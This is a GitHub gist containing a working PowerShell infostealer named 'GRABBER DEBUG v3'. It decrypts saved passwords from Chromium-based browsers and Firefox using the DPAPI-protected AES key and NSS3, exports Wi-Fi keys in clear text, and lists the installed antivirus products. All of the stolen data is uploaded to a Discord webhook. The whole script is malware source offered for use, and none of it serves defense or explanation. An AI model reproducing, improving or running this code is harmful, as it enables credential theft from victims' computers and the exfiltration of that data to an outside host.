Created
July 25, 2026 21:47
-
-
Save Gravity3432/800eafcea8c8858ce5a99455d334accb to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| DEBUG v3 - fixed byte[] casting for AES-GCM decryption. | |
| #> | |
| Add-Type -AssemblyName System.Security | |
| Add-Type -AssemblyName System.Windows.Forms | |
| Write-Host "[*] Loading WinSQLite3..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class WinSQLite3 { | |
| const string d = "winsqlite3"; | |
| [DllImport(d,EntryPoint="sqlite3_open")] | |
| public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f,out IntPtr db); | |
| [DllImport(d,EntryPoint="sqlite3_prepare16_v2")] | |
| public static extern IntPtr Prepare2(IntPtr db,[MarshalAs(UnmanagedType.LPWStr)]string s,int n,out IntPtr stmt,IntPtr t); | |
| [DllImport(d,EntryPoint="sqlite3_step")] | |
| public static extern IntPtr Step(IntPtr stmt); | |
| [DllImport(d,EntryPoint="sqlite3_column_text16")] | |
| static extern IntPtr ColTxt16(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_bytes")] | |
| static extern int ColBytes(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_blob")] | |
| static extern IntPtr ColBlob(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_finalize")] | |
| public static extern IntPtr Finalize(IntPtr s); | |
| [DllImport(d,EntryPoint="sqlite3_close")] | |
| public static extern IntPtr Close(IntPtr db); | |
| public static string ColStr(IntPtr s,int i){return Marshal.PtrToStringUni(ColTxt16(s,i));} | |
| public static byte[] ColByt(IntPtr s,int i){int l=ColBytes(s,i);byte[]r=new byte[l];if(l>0)Marshal.Copy(ColBlob(s,i),r,0,l);return r;} | |
| } | |
| "@ | |
| Write-Host "[+] WinSQLite3 OK" | |
| Write-Host "[*] Loading BCrypt AES-GCM..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| struct AI{public int cbs,dwv;public IntPtr pn;public int cn;public IntPtr pa;public int ca;public IntPtr pt;public int ct;public IntPtr pm;public int cm;public int caa;public long cd;public uint df;} | |
| [DllImport("bcrypt.dll")]static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string i,string m,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptSetProperty(IntPtr h,string p,byte[]v,int c,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptGenerateSymmetricKey(IntPtr h,out IntPtr k,IntPtr o,int oc,byte[]s,int sc,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDecrypt(IntPtr k,byte[]i,int ic,ref AI a,byte[]iv,int ivc,byte[]o,int oc,out int r,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDestroyKey(IntPtr k); | |
| public static byte[] Decrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag){ | |
| IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero; | |
| try{ | |
| if(BCryptOpenAlgorithmProvider(out ha,"AES",null,0)!=0)throw new Exception("alg"); | |
| byte[]g=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM"); | |
| BCryptSetProperty(ha,"ChainingMode",g,g.Length,0); | |
| if(BCryptGenerateSymmetricKey(ha,out hk,IntPtr.Zero,0,key,key.Length,0)!=0)throw new Exception("key"); | |
| byte[]inp=new byte[ct.Length+tag.Length]; | |
| Array.Copy(ct,0,inp,0,ct.Length);Array.Copy(tag,0,inp,ct.Length,tag.Length); | |
| AI ai=new AI();ai.cbs=Marshal.SizeOf(typeof(AI));ai.dwv=1; | |
| GCHandle nh=GCHandle.Alloc(nonce,GCHandleType.Pinned);GCHandle th=GCHandle.Alloc(tag,GCHandleType.Pinned); | |
| ai.pn=nh.AddrOfPinnedObject();ai.cn=nonce.Length; | |
| ai.pt=th.AddrOfPinnedObject();ai.ct=tag.Length; | |
| byte[]o=new byte[ct.Length];int rs; | |
| if(BCryptDecrypt(hk,inp,inp.Length,ref ai,null,0,o,o.Length,out rs,0)!=0)throw new Exception("decrypt"); | |
| nh.Free();th.Free(); | |
| byte[]r=new byte[rs];Array.Copy(o,r,rs);return r; | |
| }finally{if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);} | |
| } | |
| } | |
| "@ | |
| Write-Host "[+] BCrypt OK" | |
| # ------------------------------------------------------------ | |
| function Upload-Discord { | |
| param([string]$file, [string]$text) | |
| $Body = @{ username = $env:username; content = $text } | |
| if ($text) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $DiscordUrl -Method Post -Body ($Body | ConvertTo-Json) } | |
| if ($file) { curl.exe -F "file1=@$file" $DiscordUrl } | |
| } | |
| function Find-LocalState { | |
| param([string]$SearchRoot) | |
| $std = Join-Path $SearchRoot "Local State" | |
| if (Test-Path $std) { return $std } | |
| $found = Get-ChildItem $SearchRoot -Recurse -Depth 2 -Filter "Local State" -ErrorAction SilentlyContinue | Select-Object -First 1 | |
| if ($found) { Write-Host " [!] Local State at non-standard path: $($found.FullName)"; return $found.FullName } | |
| return $null | |
| } | |
| # ------------------------------------------------------------ | |
| # Chromium scraper - FIXED byte[] casting | |
| # ------------------------------------------------------------ | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $results = @() | |
| Write-Host "[*] $BrowserName : $UserDataPath" | |
| $anyLoginDb = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Directory.Name -match "^(Default|Profile \d+|Profile \d+)$" } | | |
| Select-Object -First 1 | |
| if (-not $anyLoginDb) { | |
| Write-Host " [-] No Login Data found" | |
| return $results | |
| } | |
| Write-Host " [+] Login Data: $($anyLoginDb.FullName)" | |
| $aesKey = $null | |
| $localState = Find-LocalState -SearchRoot $UserDataPath | |
| if ($localState) { | |
| try { | |
| $json = Get-Content $localState -Raw | ConvertFrom-Json | |
| $b64 = $json.os_crypt.encrypted_key | |
| if ($b64) { | |
| $enc = [Convert]::FromBase64String($b64) | |
| $enc = [byte[]]($enc[5..($enc.Length - 1)]) | |
| $aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| Write-Host " [+] AES key: $($aesKey.Length) bytes" | |
| } else { Write-Host " [!] No encrypted_key in Local State" } | |
| } catch { Write-Host " [!] AES key failed: $($_.Exception.Message)" } | |
| } else { Write-Host " [!] No Local State found" } | |
| $loginDbs = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Directory.Name -match "^(Default|Profile \d+|Profile \d+)$" } | |
| foreach ($loginDb in $loginDbs) { | |
| $profileName = $loginDb.Directory.Name | |
| Write-Host " [*] Profile: $profileName" | |
| $tmpDb = Join-Path $env:TEMP "cdb_$([Guid]::NewGuid()).db" | |
| try { | |
| Copy-Item $loginDb.FullName $tmpDb -Force -ErrorAction Stop | |
| $dbH = [IntPtr]::Zero | |
| if ([WinSQLite3]::Open($tmpDb, [ref]$dbH) -ne 0) { Write-Host " [-] Open fail"; continue } | |
| $stmt = [IntPtr]::Zero | |
| if ([WinSQLite3]::Prepare2($dbH, | |
| "SELECT origin_url, username_value, password_value FROM logins", | |
| -1, [ref]$stmt, [IntPtr]::Zero) -ne 0) { | |
| Write-Host " [-] Prepare fail" | |
| [WinSQLite3]::Close($dbH) | Out-Null; continue | |
| } | |
| $rowCount = 0; $ok = 0; $fail = 0 | |
| while (([WinSQLite3]::Step($stmt)) -eq 100) { | |
| $rowCount++ | |
| $url = [WinSQLite3]::ColStr($stmt, 0) | |
| $user = [WinSQLite3]::ColStr($stmt, 1) | |
| $passBlob = [WinSQLite3]::ColByt($stmt, 2) | |
| if (-not $passBlob -or $passBlob.Length -lt 15) { continue } | |
| $hdr = [Text.Encoding]::ASCII.GetString($passBlob, 0, 3) | |
| $pass = $null | |
| # --- AES-GCM path (v10 / v20) --- | |
| if (($hdr -eq 'v10' -or $hdr -eq 'v20') -and $aesKey) { | |
| try { | |
| # CRITICAL FIX: PowerShell range operator returns Object[], must cast to byte[] | |
| $nonce = [byte[]]($passBlob[3..14]) | |
| $ct = [byte[]]($passBlob[15..($passBlob.Length - 17)]) | |
| $tag = [byte[]]($passBlob[($passBlob.Length - 16)..($passBlob.Length - 1)]) | |
| $plain = [BCryptAES]::Decrypt($aesKey, $nonce, $ct, $tag) | |
| $pass = [Text.Encoding]::UTF8.GetString($plain) | |
| $ok++ | |
| } catch { | |
| if ($rowCount -le 3) { | |
| Write-Host " [-] AES-GCM fail row $rowCount ($($url.Substring(0,[Math]::Min(50,$url.Length)))) : $($_.Exception.Message)" | |
| } | |
| } | |
| } | |
| # --- Raw DPAPI fallback (pre-v80) --- | |
| if (-not $pass) { | |
| try { | |
| $plain = [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $passBlob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| $pass = [Text.Encoding]::UTF8.GetString($plain) | |
| $ok++ | |
| } catch { | |
| $fail++ | |
| if ($rowCount -le 3) { | |
| Write-Host " [-] DPAPI fail row $rowCount ($($url.Substring(0,[Math]::Min(50,$url.Length)))) : $($_.Exception.Message)" | |
| } | |
| } | |
| } | |
| if ($url -and $pass) { | |
| $results += [PSCustomObject]@{Browser=$BrowserName;Profile=$profileName;URL=$url;Username=$user;Password=$pass} | |
| } | |
| } | |
| Write-Host " [*] Rows: $rowCount | OK: $ok | Fail: $fail" | |
| [WinSQLite3]::Finalize($stmt) | Out-Null | |
| [WinSQLite3]::Close($dbH) | Out-Null | |
| } catch { | |
| Write-Host " [-] Exception: $($_.Exception.Message)" | |
| } | |
| finally { | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| } | |
| Write-Host " [*] $BrowserName : $($results.Count) credentials" | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| # Firefox | |
| # ------------------------------------------------------------ | |
| function Get-FirefoxPasswords { | |
| $results = @() | |
| $ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles" | |
| Write-Host "[*] Firefox : $ffProfiles" | |
| if (-not (Test-Path $ffProfiles)) { Write-Host " [-] No profiles dir"; return $results } | |
| Write-Host "[*] Loading NSS3..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| public static class NSS { | |
| [DllImport("kernel32.dll")]static extern IntPtr LoadLibrary(string p); | |
| [DllImport("kernel32.dll")]static extern IntPtr GetProcAddress(IntPtr h,string n); | |
| [DllImport("kernel32.dll")]static extern bool FreeLibrary(IntPtr h); | |
| [StructLayout(LayoutKind.Sequential)]public struct SECItem{public uint type;public IntPtr data;public uint len;} | |
| delegate int NSS_InitD(string p); | |
| delegate int SDR_DecryptD(IntPtr d,IntPtr r,IntPtr c); | |
| delegate int NSS_ShutdownD(); | |
| static IntPtr hn,hm; | |
| public static bool Init(string ff,string prof){ | |
| hm=LoadLibrary(ff+"\\mozglue.dll");hn=LoadLibrary(ff+"\\nss3.dll"); | |
| if(hn==IntPtr.Zero)return false; | |
| NSS_InitD init=(NSS_InitD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Init"),typeof(NSS_InitD)); | |
| return init(prof)==0; | |
| } | |
| public static string Decrypt(string b64){ | |
| byte[]d=Convert.FromBase64String(b64);IntPtr dp=Marshal.AllocHGlobal(d.Length); | |
| Marshal.Copy(d,0,dp,d.Length); | |
| SECItem si=new SECItem();si.type=0;si.data=dp;si.len=(uint)d.Length; | |
| IntPtr sp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.StructureToPtr(si,sp,false); | |
| IntPtr rp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.WriteInt64(rp,0,0);Marshal.WriteInt64(rp,8,0);Marshal.WriteInt32(rp,12,0); | |
| SDR_DecryptD dec=(SDR_DecryptD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"PK11SDR_Decrypt"),typeof(SDR_DecryptD)); | |
| if(dec(sp,rp,IntPtr.Zero)!=0){Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);return null;} | |
| uint ol=(uint)Marshal.ReadInt32(rp,8);IntPtr od=Marshal.ReadIntPtr(rp); | |
| byte[]r=new byte[ol];Marshal.Copy(od,r,0,(int)ol); | |
| Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp); | |
| return Encoding.UTF8.GetString(r); | |
| } | |
| public static void Shutdown(){ | |
| if(hn!=IntPtr.Zero){ | |
| NSS_ShutdownD sd=(NSS_ShutdownD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Shutdown"),typeof(NSS_ShutdownD)); | |
| sd();FreeLibrary(hn); | |
| } | |
| if(hm!=IntPtr.Zero)FreeLibrary(hm); | |
| } | |
| } | |
| "@ | Out-Null | |
| Write-Host "[+] NSS3 OK" | |
| $ffDir = Join-Path ${env:ProgramFiles} "Mozilla Firefox" | |
| if (-not (Test-Path $ffDir)) { $ffDir = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" } | |
| if (-not (Test-Path $ffDir)) { Write-Host " [-] FF install not found"; return $results } | |
| foreach ($profDir in Get-ChildItem $ffProfiles -Directory) { | |
| $loginsJson = Join-Path $profDir.FullName "logins.json" | |
| $keyDb = Join-Path $profDir.FullName "key4.db" | |
| Write-Host " [*] $($profDir.Name)" | |
| if (-not (Test-Path $loginsJson) -or -not (Test-Path $keyDb)) { Write-Host " [-] Missing files"; continue } | |
| try { | |
| if (-not [NSS]::Init($ffDir, $profDir.FullName)) { Write-Host " [-] NSS_Init fail"; continue } | |
| $logins = Get-Content $loginsJson -Raw | ConvertFrom-Json | |
| foreach ($l in $logins.logins) { | |
| try { | |
| $u = [NSS]::Decrypt($l.encryptedUsername) | |
| $p = [NSS]::Decrypt($l.encryptedPassword) | |
| $results += [PSCustomObject]@{Browser="Firefox";Profile=$profDir.Name;URL=$l.hostname;Username=$u;Password=$p} | |
| } catch {} | |
| } | |
| Write-Host " [+] Decrypted $($results.Count)" | |
| [NSS]::Shutdown() | |
| } catch { Write-Host " [-] $($_.Exception.Message)" } | |
| } | |
| Write-Host " [*] Firefox: $($results.Count)" | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| function Wifi { | |
| Write-Host "[*] WiFi..." | |
| $tmp = Join-Path $env:TEMP "wfb_$([Guid]::NewGuid())" | |
| New-Item -Path $tmp -ItemType Directory -Force | Out-Null | |
| Set-Location $tmp; netsh wlan export profile key=clear | Out-Null | |
| $out = Join-Path $env:TEMP "wifi_passwords.txt" | |
| Select-String -Path *.xml -Pattern 'keyMaterial' | | |
| % { $_ -replace '', '' } | | |
| % { $_ -replace "C:\\Users\\$env:UserName\\Desktop\\", '' } | | |
| % { $_ -replace '.xml:22:', '' } > $out | |
| Upload-Discord -file $out -text ":satellite: WiFi Passwords" | |
| Set-Location $env:TEMP | |
| Remove-Item $tmp -Force -Recurse -ErrorAction SilentlyContinue | |
| Remove-Item $out -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] WiFi done" | |
| } | |
| function version-av { | |
| Write-Host "[*] AV..." | |
| $f = Join-Path $env:TEMP "av_info.txt" | |
| Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | | |
| Out-File -FilePath $f -Encoding utf8 | |
| Upload-Discord -file $f -text ":shield: AV Info" | |
| Remove-Item $f -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] AV done" | |
| } | |
| # ------------------------------------------------------------ | |
| # Orchestrator | |
| # ------------------------------------------------------------ | |
| function Get-BrowserPasswords { | |
| Write-Host "[*] === BROWSER SCRAPER ===" | |
| $all = @() | |
| $targets = @( | |
| @{N="Chrome"; P="$env:LOCALAPPDATA\Google\Chrome\User Data"} | |
| @{N="Chrome Beta"; P="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"} | |
| @{N="Edge"; P="$env:LOCALAPPDATA\Microsoft\Edge\User Data"} | |
| @{N="Brave"; P="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"} | |
| @{N="Opera"; P="$env:APPDATA\Opera Software\Opera Stable"} | |
| @{N="Opera GX"; P="$env:APPDATA\Opera Software\Opera GX Stable"} | |
| @{N="Vivaldi"; P="$env:LOCALAPPDATA\Vivaldi\User Data"} | |
| @{N="Chromium"; P="$env:LOCALAPPDATA\Chromium\User Data"} | |
| ) | |
| foreach ($t in $targets) { | |
| if (Test-Path $t.P) { | |
| $all += Get-ChromiumPasswords -BrowserName $t.N -UserDataPath $t.P | |
| } | |
| } | |
| $all += Get-FirefoxPasswords | |
| Write-Host "[*] TOTAL: $($all.Count)" | |
| if ($all.Count -eq 0) { | |
| Upload-Discord -text ":key: Browser Passwords : No credentials found." | |
| return | |
| } | |
| $tmp = Join-Path $env:TEMP "browser_passwords.txt" | |
| $all | Sort-Object Browser, URL | % { | |
| "$($_.Browser)|$($_.Profile)|$($_.URL)|$($_.Username)|$($_.Password)" | |
| } | Out-File $tmp -Encoding utf8 | |
| $browsers = ($all | Select-Object -ExpandProperty Browser -Unique) -join ', ' | |
| Upload-Discord -file $tmp -text ":key: Browser Passwords : $($all.Count) entries ($browsers)" | |
| Remove-Item $tmp -Force -ErrorAction SilentlyContinue | |
| } | |
| # ------------------------------------------------------------ | |
| # RUN | |
| # ------------------------------------------------------------ | |
| Write-Host "==========================================" | |
| Write-Host " GRABBER DEBUG v3" | |
| Write-Host " User: $env:USERNAME | Host: $env:COMPUTERNAME" | |
| Write-Host "==========================================" | |
| version-av | |
| Wifi | |
| Get-BrowserPasswords |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment